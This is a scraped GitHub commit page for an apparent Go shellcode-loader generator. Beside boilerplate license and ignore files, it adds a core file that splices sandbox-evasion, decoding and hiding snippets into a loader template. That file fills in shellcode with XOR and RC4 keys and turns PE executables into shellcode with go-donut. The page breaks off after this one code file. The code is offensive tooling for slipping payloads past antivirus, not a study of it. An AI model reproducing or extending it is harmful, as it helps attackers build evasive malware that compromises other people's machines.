-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
61 changed files
with
7,985 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,2 @@ | ||
# Auto detect text files and perform LF normalization | ||
* text=auto |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
### Go template | ||
# Binaries for programs and plugins | ||
*.exe | ||
*.exe~ | ||
*.dll | ||
*.so | ||
*.dylib | ||
*.txt | ||
# Test binary, built with `go test -c` | ||
*.test | ||
|
||
# Output of the go coverage tool, specifically when used with LiteIDE | ||
*.out | ||
|
||
# Dependency directories (remove the comment below to include it) | ||
# vendor/ | ||
|
||
.idea/* | ||
.bin | ||
.xml | ||
|
||
*.zip |
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
MIT License | ||
|
||
Copyright (c) 2022 piiperxyz | ||
|
||
Permission is hereby granted, free of charge, to any person obtaining a copy | ||
of this software and associated documentation files (the "Software"), to deal | ||
in the Software without restriction, including without limitation the rights | ||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | ||
copies of the Software, and to permit persons to whom the Software is | ||
furnished to do so, subject to the following conditions: | ||
|
||
The above copyright notice and this permission notice shall be included in all | ||
copies or substantial portions of the Software. | ||
|
||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | ||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | ||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE | ||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | ||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, | ||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE | ||
SOFTWARE. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,189 @@ | ||
package core | ||
|
||
import ( | ||
"github.com/Binject/go-donut/donut" | ||
"io/ioutil" | ||
"log" | ||
"os" | ||
"path" | ||
"strings" | ||
"text/template" | ||
"time" | ||
) | ||
|
||
type FormatTp struct { | ||
tp *template.Template | ||
} | ||
|
||
func (f FormatTp) Exec(args map[string]interface{}) string { | ||
s := new(strings.Builder) | ||
err := f.tp.Execute(s, args) | ||
if err != nil { | ||
// 放心吧,这里不可能触发的,除非手贱:) | ||
panic(err) | ||
} | ||
return s.String() | ||
} | ||
|
||
func Format(fmt string) FormatTp { | ||
var err error | ||
temp, err := template.New("").Parse(fmt) | ||
if err != nil { | ||
// 放心吧,这里不可能触发的,除非手贱:) | ||
panic(err) | ||
} | ||
return FormatTp{tp: temp} | ||
} | ||
func Format1(fmt string) FormatTp { | ||
var err error | ||
temp, err := template.New("").Parse(fmt) | ||
if err != nil { | ||
// 放心吧,这里不可能触发的,除非手贱:) | ||
panic(err) | ||
} | ||
return FormatTp{tp: temp} | ||
} | ||
|
||
// 给loader文件插入代码,需注意import的库需要去重 | ||
func addCode(Code []string, method string) { | ||
loaderFileByte, _ := ioutil.ReadFile(path.Join(TempDir, "main.go")) | ||
loaderFile := string(loaderFileByte) | ||
var replaceString string | ||
switch method { | ||
case "sandbox": | ||
replaceString = "//__SANDBOX__" | ||
case "decode": | ||
replaceString = "//__DECODE__" | ||
case "separate": | ||
replaceString = "//__SEPARATE__" | ||
case "hide": | ||
replaceString = "//__HIDE__" | ||
case "funct": | ||
replaceString = "//__FUNC__" | ||
} | ||
|
||
loaderFile = strings.Replace(loaderFile, replaceString, Code[0], 1) | ||
importField := strings.SplitAfter(loaderFile, "//__IMPORT__")[0] | ||
unImportField := strings.SplitAfter(loaderFile, "//__IMPORT__")[1] | ||
imports := strings.Split(importField, "\n") | ||
new := make([]string, 0) | ||
for i := 0; i < len(imports); i++ { | ||
if strings.Index(Code[1], imports[i]) == -1 { | ||
new = append(new, imports[i]+"\n") | ||
} | ||
} | ||
new = append(new, "\t//__IMPORT__\n") | ||
|
||
final := strings.Replace(strings.Join(new, "")+unImportField, "//__IMPORT__", Code[1], 1) | ||
//println(final) | ||
ioutil.WriteFile(path.Join(TempDir, "main.go"), []byte(final), os.ModePerm) | ||
} | ||
|
||
func addCode1(Code []string, method string, repstr string, repstr1 string, repstr2 string, repstr3 string, repstr4 string) { | ||
loaderFileByte, _ := ioutil.ReadFile(path.Join(TempDir, "main.go")) | ||
loaderFile := string(loaderFileByte) | ||
var replaceString string | ||
switch method { | ||
case "sandbox": | ||
replaceString = "//__SANDBOX__" | ||
case "quanju": | ||
replaceString = "//__QUANJU__" | ||
case "main": | ||
replaceString = "//__MAIN__" | ||
case "decode": | ||
replaceString = "//__DECODE__" | ||
case "separate": | ||
replaceString = "//__SEPARATE__" | ||
case "hide": | ||
replaceString = "//__HIDE__" | ||
} | ||
str := Format(Code[0]).Exec(map[string]interface{}{ | ||
"name": repstr, | ||
"shellcode": repstr1, | ||
"xor": repstr2, | ||
"rc4": repstr3, | ||
"canshu": repstr4, | ||
}) | ||
|
||
loaderFile = strings.Replace(loaderFile, replaceString, str, 1) | ||
importField := strings.SplitAfter(loaderFile, "//__IMPORT__")[0] | ||
unImportField := strings.SplitAfter(loaderFile, "//__IMPORT__")[1] | ||
imports := strings.Split(importField, "\n") | ||
new := make([]string, 0) | ||
for i := 0; i < len(imports); i++ { | ||
if strings.Index(Code[1], imports[i]) == -1 { | ||
new = append(new, imports[i]+"\n") | ||
} | ||
} | ||
new = append(new, "\t//__IMPORT__\n") | ||
|
||
final := strings.Replace(strings.Join(new, "")+unImportField, "//__IMPORT__", Code[1], 1) | ||
//println(final) | ||
ioutil.WriteFile(path.Join(TempDir, "main.go"), []byte(final), os.ModePerm) | ||
} | ||
|
||
func addCode2(Code []string, method string, repstr5 string, repstr6 string) { | ||
println(Code) | ||
loaderFileByte, _ := ioutil.ReadFile(path.Join(TempDir, "main.go")) | ||
loaderFile := string(loaderFileByte) | ||
var replaceString string | ||
switch method { | ||
case "sandbox": | ||
replaceString = "//__SANDBOX__" | ||
case "quanju": | ||
replaceString = "//__QUANJU__" | ||
case "main": | ||
replaceString = "//__MAIN__" | ||
case "decode": | ||
replaceString = "//__DECODE__" | ||
case "separate": | ||
replaceString = "//__SEPARATE__" | ||
case "hide": | ||
replaceString = "//__HIDE__" | ||
} | ||
|
||
str := Format(Code[0]).Exec(map[string]interface{}{ | ||
"shellcode": repstr5, | ||
"suiji": repstr6, | ||
}) | ||
|
||
loaderFile = strings.Replace(loaderFile, replaceString, str, 1) | ||
importField := strings.SplitAfter(loaderFile, "//__IMPORT__")[0] | ||
unImportField := strings.SplitAfter(loaderFile, "//__IMPORT__")[1] | ||
imports := strings.Split(importField, "\n") | ||
new := make([]string, 0) | ||
for i := 0; i < len(imports); i++ { | ||
if strings.Index(Code[1], imports[i]) == -1 { | ||
new = append(new, imports[i]+"\n") | ||
} | ||
} | ||
new = append(new, "\t//__IMPORT__\n") | ||
|
||
final := strings.Replace(strings.Join(new, "")+unImportField, "//__IMPORT__", Code[1], 1) | ||
//println(final) | ||
ioutil.WriteFile(path.Join(TempDir, "main.go"), []byte(final), os.ModePerm) | ||
|
||
} | ||
|
||
func PE2shellcode(srcFile string, shellName string) { | ||
donutConfig := donut.DefaultConfig() | ||
payload, err := donut.ShellcodeFromFile(srcFile, donutConfig) | ||
if err != nil { | ||
log.Println(err) | ||
} | ||
err = ioutil.WriteFile(path.Join(TempDir, shellName), payload.Bytes(), os.ModePerm) | ||
if err != nil { | ||
log.Println(err) | ||
} | ||
|
||
} | ||
|
||
func generateKey(keyName string) []byte { | ||
key := time.Now().String()[5:27] | ||
err := ioutil.WriteFile(path.Join(TempDir, keyName), []byte(key), os.ModePerm) | ||
println(keyName) | ||
if err != nil { | ||
log.Println(err) | ||
} | ||
return []byte(key) | ||
} |
Oops, something went wrong.